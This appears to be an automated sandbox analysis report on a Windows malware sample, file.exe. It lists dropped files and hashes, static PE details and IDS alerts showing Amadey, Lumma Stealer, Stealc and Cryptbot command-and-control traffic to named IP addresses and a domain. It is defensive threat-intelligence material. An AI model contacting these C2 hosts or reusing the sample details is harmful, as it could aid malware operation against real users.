SSDEEP:	192:nnPOeRnHYbBp6gJ0aX+H6SEXK5kHWNBw8d4Sl:PPetJUapHEwX0
MD5:	61CB087E648B49359317FBC862BE1478
SHA1:	128892FE9AF23CF8FA976E31EBF4FE69A5B19134
SHA-256:	3F506011A87C76AF6C4D04A69ED0655984066E6D63FB4B6692FE1D410CB570D1
SHA-512:	2A1A3D5D2F475F3D91256F62FBBA506D2A5FA5242BB8944FEF7C932D5EE508796791732CF9B41F5367F22A47CAC6C287E2EFB37D11D8B844A4DE8ABE04584102
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2968955
Entropy (8bit):	7.086805464698464
Encrypted:	false
SSDEEP:	49152:ekFE961ytt8iF+L3N4Tefv2HHcRnFuhBRh1l29gDQPpW1ra8h3gA/QMtJhGExB2T:9J1ytt8iF+L3NIcJFuf9SgkpWtv3J2F9
MD5:	87ABA2697A8DEDA3E1284A79780FF69D
SHA1:	21DFE5AA0E8F32688FAEE3AC31652392696E0908
SHA-256:	736AF8F850EBF9FBF744002845787425AA493A5D11202094381051EE66568582
SHA-512:	3A55DF4BDD9F46126B85484E19BFD53AB8F744B073B1CFE42D9FFEC101947A5A318B16FF7D446FB97834440A1F9D8EC1FFB82D3E67388027E62CAD000CF38616
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....>g....h%....&"...*.,..........0........................................0 .......-...`... .........................................q.................................... .................................(................... ...P............................text...X+.......,..................`..`.data........@.......0..............@....rdata..0H...P...J...4..............@..@.pdata..............~..............@..@.xdata...=...`...>...4..............@..@.bss.....................................edata..q............r..............@..@.idata...........0...t..............@....CRT....`...........................@....tls.......... .....................@....reloc........ .....................@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\is-K9C20.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2968955
Entropy (8bit):	7.086805464698464
Encrypted:	false
SSDEEP:	49152:ekFE961ytt8iF+L3N4Tefv2HHcRnFuhBRh1l29gDQPpW1ra8h3gA/QMtJhGExB2T:9J1ytt8iF+L3NIcJFuf9SgkpWtv3J2F9
MD5:	87ABA2697A8DEDA3E1284A79780FF69D
SHA1:	21DFE5AA0E8F32688FAEE3AC31652392696E0908
SHA-256:	736AF8F850EBF9FBF744002845787425AA493A5D11202094381051EE66568582
SHA-512:	3A55DF4BDD9F46126B85484E19BFD53AB8F744B073B1CFE42D9FFEC101947A5A318B16FF7D446FB97834440A1F9D8EC1FFB82D3E67388027E62CAD000CF38616
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....>g....h%....&"...*.,..........0........................................0 .......-...`... .........................................q.................................... .................................(................... ...P............................text...X+.......,..................`..`.data........@.......0..............@....rdata..0H...P...J...4..............@..@.pdata..............~..............@..@.xdata...=...`...>...4..............@..@.bss.....................................edata..q............r..............@..@.idata...........0...t..............@....CRT....`...........................@....tls.......... .....................@....reloc........ .....................@..B........................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.398686572977259
Encrypted:	false
SSDEEP:	6:zgfX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBxl/pt0:kuQ1CGAFifXVBj/pt0
MD5:	57DE5E65E49BE9C9DED3DB9F5DE5E11E
SHA1:	4093EADFDB6E151C45222A95C347DCEC762AB5CA
SHA-256:	BC6D7F3266BDE67EB8E664C51389E0D9543C5ED6F6899163BCF002470D1B6BDA
SHA-512:	8A58DEE312C1A1EC6E2184BCA25FD85A4FD128A6D39483F14FB0E1F05D3678B396375CA9E9379BC997644AF80F2439A61C88AC2B39691B81F6B42F7D75C44CF9
Malicious:	false
Reputation:	unknown
Preview:	.......]N.....JwKF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949145751589773
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'908'736 bytes
MD5:	35d1c1965ed05d18f6d96f235a43a275
SHA1:	c86ef2a0fcf22b02054f92f23c70a61ae8570b31
SHA256:	d7ecee953b42d1ead347c587deabfc57ed5360b5c20278249d6e2bae39386d56
SHA512:	25fd47d1e7ce7ee6202c0d90ba8e096e6442549045d3ff9b478ba0f2a815a85f2b44e5e17620e70e35e9c41dbc457b8b1adde9aca5f0ffd624a9b2d6f50fdbec
SSDEEP:	49152:ouQbXZhAkVEfQcncuwxgFU2Gya/NIFQMn7ePxc8Oj:o1rZCoEfQcncBgFUnjFtv5E
TLSH:	E7953352D857AE5DE17839FD9CD342EA826013D380CBAF34A1B6C05EDD23986ECB5172
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2BE483C53Ah
paddd mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F2BE483E535h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b4f38	0x10	pykcxpuc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b4ee8	0x18	pykcxpuc
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	c5df4d1c3107ba505aa622e6244bb0de	False	0.9981745997956403	data	7.98298473035459	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2aa000	0x200	a9134e23de9d1d46422bb117dcee180e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pykcxpuc	0x315000	0x1a0000	0x1a0000	9f1b04b32a26e236e88b441c66ae8cb7	False	0.9945338322566106	data	7.953889920678038	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hqudcphw	0x4b5000	0x1000	0x600	c8fe8d1819b3cbcdbf3ab5ad78f31a45	False	0.5846354166666666	data	5.00035868173713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b6000	0x3000	0x2200	cd7d08dbb0ef041b9aa755d7454f3293	False	0.06387867647058823	DOS executable (COM)	0.7888951694594698	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T03:09:05.886440+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49801	185.215.113.43	80	TCP
2024-11-21T03:09:10.375948+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49814	31.41.244.11	80	TCP
2024-11-21T03:09:19.877681+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49808	TCP
2024-11-21T03:09:21.282665+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49840	185.215.113.43	80	TCP
2024-11-21T03:09:22.754001+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49842	154.216.20.78	80	TCP
2024-11-21T03:09:29.752029+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49860	185.215.113.43	80	TCP
2024-11-21T03:09:31.593005+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49864	185.215.113.16	80	TCP
2024-11-21T03:09:36.468614+0100	2057730	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)	1	192.168.2.5	55760	1.1.1.1	53	UDP
2024-11-21T03:09:38.010939+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:38.010939+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:38.624508+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49881	185.215.113.43	80	TCP
2024-11-21T03:09:40.196896+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49887	185.215.113.16	80	TCP
2024-11-21T03:09:40.651288+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:40.651288+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:42.501152+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:09:42.501152+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:09:44.759727+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:09:44.759727+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:09:47.588707+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49904	185.215.113.43	80	TCP
2024-11-21T03:09:48.316516+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49909	188.114.96.3	443	TCP
2024-11-21T03:09:48.316516+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49909	188.114.96.3	443	TCP
2024-11-21T03:09:49.358840+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49911	185.215.113.16	80	TCP
2024-11-21T03:09:50.111204+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49912	185.215.113.206	80	TCP
2024-11-21T03:09:50.581670+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49912	185.215.113.206	80	TCP
2024-11-21T03:09:50.702693+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49912	TCP
2024-11-21T03:09:51.057620+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49912	185.215.113.206	80	TCP
2024-11-21T03:09:51.262472+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49912	TCP
2024-11-21T03:09:52.695146+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49918	188.114.96.3	443	TCP
2024-11-21T03:09:52.695146+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49918	188.114.96.3	443	TCP
2024-11-21T03:09:52.743427+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49912	185.215.113.206	80	TCP
2024-11-21T03:09:53.550899+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49912	185.215.113.206	80	TCP
2024-11-21T03:09:55.725403+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49924	185.215.113.43	80	TCP
2024-11-21T03:09:55.832764+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49928	188.114.96.3	443	TCP
2024-11-21T03:09:55.832764+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49928	188.114.96.3	443	TCP
2024-11-21T03:09:57.235129+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49931	185.215.113.16	80	TCP
2024-11-21T03:09:57.327510+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	49932	34.116.198.130	80	TCP
2024-11-21T03:09:58.291299+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49928	188.114.96.3	443	TCP
2024-11-21T03:09:58.291299+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49928	188.114.96.3	443	TCP
2024-11-21T03:09:58.669508+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49938	188.114.96.3	443	TCP
2024-11-21T03:09:58.669508+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49938	188.114.96.3	443	TCP
2024-11-21T03:10:01.440750+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49955	188.114.96.3	443	TCP
2024-11-21T03:10:01.440750+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49955	188.114.96.3	443	TCP
2024-11-21T03:10:02.174595+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	49957	34.116.198.130	80	TCP
2024-11-21T03:10:02.293721+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49955	188.114.96.3	443	TCP
2024-11-21T03:10:02.293721+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49955	188.114.96.3	443	TCP
2024-11-21T03:10:04.187842+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49970	188.114.96.3	443	TCP
2024-11-21T03:10:04.187842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49970	188.114.96.3	443	TCP
2024-11-21T03:10:06.733084+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49980	185.215.113.43	80	TCP
2024-11-21T03:10:08.209677+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49989	188.114.96.3	443	TCP
2024-11-21T03:10:08.209677+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49989	188.114.96.3	443	TCP
2024-11-21T03:10:08.398785+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-21T03:10:08.398785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-21T03:10:09.431624+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49989	188.114.96.3	443	TCP
2024-11-21T03:10:10.809336+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-21T03:10:17.635452+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-21T03:10:17.635452+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-21T03:10:18.380301+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-21T03:10:19.912792+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50039	185.215.113.16	80	TCP
2024-11-21T03:10:30.435769+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:32.602325+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:33.310226+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50079	34.116.198.130	80	TCP
2024-11-21T03:10:33.993771+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:35.384435+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:39.197820+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:40.568810+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:47.101946+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50137	185.215.113.16	80	TCP
2024-11-21T03:10:56.814064+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50151	185.215.113.206	80	TCP
2024-11-21T03:11:03.840254+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50183	185.215.113.206	80	TCP
2024-11-21T03:11:31.376218+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50228	52.182.143.212	443	TCP
2024-11-21T03:12:58.297850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50327	20.189.173.23	443	TCP
2024-11-21T03:14:18.804234+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50394	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 03:08:04.380254030 CET	49674	443	192.168.2.5	23.1.237.91
Nov 21, 2024 03:08:04.380320072 CET	49675	443	192.168.2.5	23.1.237.91
Nov 21, 2024 03:08:04.520914078 CET	49673	443	192.168.2.5	23.1.237.91
Nov 21, 2024 03:08:13.989593983 CET	49674	443	192.168.2.5	23.1.237.91
Nov 21, 2024 03:08:13.989676952 CET	49675	443	192.168.2.5	23.1.237.91
Nov 21, 2024 03:08:14.130213976 CET	49673	443	192.168.2.5	23.1.237.91
Nov 21, 2024 03:08:16.600481987 CET	443	49703	23.1.237.91	192.168.2.5
Nov 21, 2024 03:08:16.600590944 CET	49703	443	192.168.2.5	23.1.237.91
Nov 21, 2024 03:08:21.947969913 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:21.948028088 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:21.948101997 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:21.948468924 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:21.948487043 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:23.803983927 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:23.804092884 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:23.808248997 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:23.808279991 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:23.808657885 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:23.818413019 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:23.863341093 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.303910971 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.303991079 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.304037094 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.304162025 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.304188967 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.304243088 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.495629072 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.495656967 CET	443	49704	13.107.246.45	192.168.2.5
